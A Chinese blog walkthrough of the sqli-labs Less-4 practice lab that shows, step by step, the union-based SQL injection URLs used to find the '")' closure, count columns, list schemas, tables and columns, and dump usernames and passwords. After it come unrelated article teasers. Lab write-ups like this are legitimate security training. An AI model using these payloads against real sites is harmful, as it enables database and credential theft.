SQL注入靶场sqli-labs less-4

news/2024/10/10 8:34:41/

sqlilabsless4_2">sqli-labs靶场第三关less-4

在这里插入图片描述

1、确定注入点

http://192.168.128.3/sq/Less-4/?id=1
http://192.168.128.3/sq/Less-4/?id=2
有不同回显,判断可能存在注入,

2、判断注入类型

输入

http://192.168.128.3/sq/less-4/?id=1 and 1=1
http://192.168.128.3/sq/less-4/?id=1 and 1=2
回显一致,猜测不是数字型注

加单引号

http://192.168.128.3/sq/less-4/?id=1’
没有回显,猜测其他闭合方式
输入双引号
http://192.168.128.3/sq/Less-4/?id=1“

报出错误

在这里插入图片描述
由结果判断闭合方式为 ")

3、确定列数

http://192.168.128.3/sq/less-4/?id=1") order by 5 --+
http://192.168.128.3/sq/less-4/?id=1") order by 4 --+
http://192.168.128.3/sq/less-4/?id=1") order by 3 --+

4,5回显报错,3的时候回显
确定列数为3

4、确定回显位

http://192.168.128.3/sq/less-4/?id=-1") union select 1,2,3 --+

在这里插入图片描述
确定2,3为回显位置

5、确定数据库名,数据库版本

http://192.168.128.3/sq/Less-4/?id=-1") union select 1,version(),database()–+

在这里插入图片描述

5、爆出数据库名,表名,列名,数据

  • 爆出数据库
    http://192.168.128.3/sq/less-4/?id=-1") union select 1,group_concat(schema_name),3 from information_schema.schemata --+
  • 爆出选定数据库表名
    http://192.168.128.3/sq/less-4/?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()–+
  • 爆出列名
    http://192.168.128.3/sq/less-4/?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘users’–+
  • 爆出数据
    http://192.168.128.3/sq/less-4/?id=-1") union select 1,group_concat(username,‘%20’,password),3 from security.users–+

最终得到数据
在这里插入图片描述

大功告成


http://www.ppmy.cn/news/1536915.html

相关文章

HTTP的请求头有哪些

HTTP请求头包含了很多重要的信息,它们可以分为几个主要类别。以下是常见的HTTP请求头和它们的功能: 1. 通用头部(General Headers) Cache-Control: 指示请求和响应遵循的缓存策略。 Connection: 控制当前的网络连接选项&#xf…

ubutun安装ffmpeg

安装依赖 sudo apt-get install yasm sudo apt-get install libsdl1.2-dev sudo apt-get install libsdl2-dev 下载安装 tar -zxvf filename.gz ./configure --enable-shared --prefix/usr/local/ffmpeg make -j4 sudo make install 添加路径 路径/usr/local/ffmpeg…

Feign源码详解

一,入口 —— Feign的核心注解 Feign是我们在分布式开发中常用的RPC框架,关于Feign远程调用的秘密,我有很多想要探究的例如: Feign是如何收集FeignClient的?Feign是如何配置FeignClient的,让其拥有降级重试…

K8sGPT 实战:智能化 Kubernetes 集群诊断与问题解决

引言 在复杂的 Kubernetes 环境中,快速识别和解决问题是一项挑战。K8sGPT 作为一个创新的工具,将人工智能的力量引入到 Kubernetes 运维中,为管理员提供了智能化的诊断和问题解决方案。本文将深入探讨 K8sGPT 的实际应用,通过实战案例展示其如何提高 Kubernetes 集群的运维…

k8s的pod管理及优化

1. Pod的基本管理命令 创建Pod&#xff1a;可以使用kubectl apply -f pod.yaml或kubectl run nginx --imagenginx来创建Pod。查看Pod&#xff1a;使用kubectl get pods命令可以查看当前集群中的所有Pod。查看日志&#xff1a;使用kubectl logs <pod-name>可以查看指定Po…

Python 与 Pycharm 的简易安装教程,包含Pycharm的修改

一. 官方网站 Python网址&#xff1a;python唯一的官方网址。 Pycharm网址&#xff1a;Pycharm的官方网址。 二. python安装步骤 滑动到红色框内 Downloads 导航栏。 红色框是选择适合自己电脑系统和版本的部分&#xff0c;蓝色框是选择系统的部分&#xff0c;黄色框是版本号。…

减少重复的请求之promise缓存池(闭包版) —— 缓存promise,多次promise等待并返回第一个promise的结果

减少重复的请求之promise缓存池 —— 缓存promise&#xff0c;多次promise等待并返回第一个promise的结果 背景简介 当一个业务组件初始化调用了接口&#xff0c;统一个页面多吃使用同一个组件&#xff0c;将会请求大量重复的接口 如果将promise当作一个普通的对象&#xff0…

大数据毕业设计选题推荐-B站热门视频数据分析-Python数据可视化-Hive-Hadoop-Spark

✨作者主页&#xff1a;IT研究室✨ 个人简介&#xff1a;曾从事计算机专业培训教学&#xff0c;擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Python…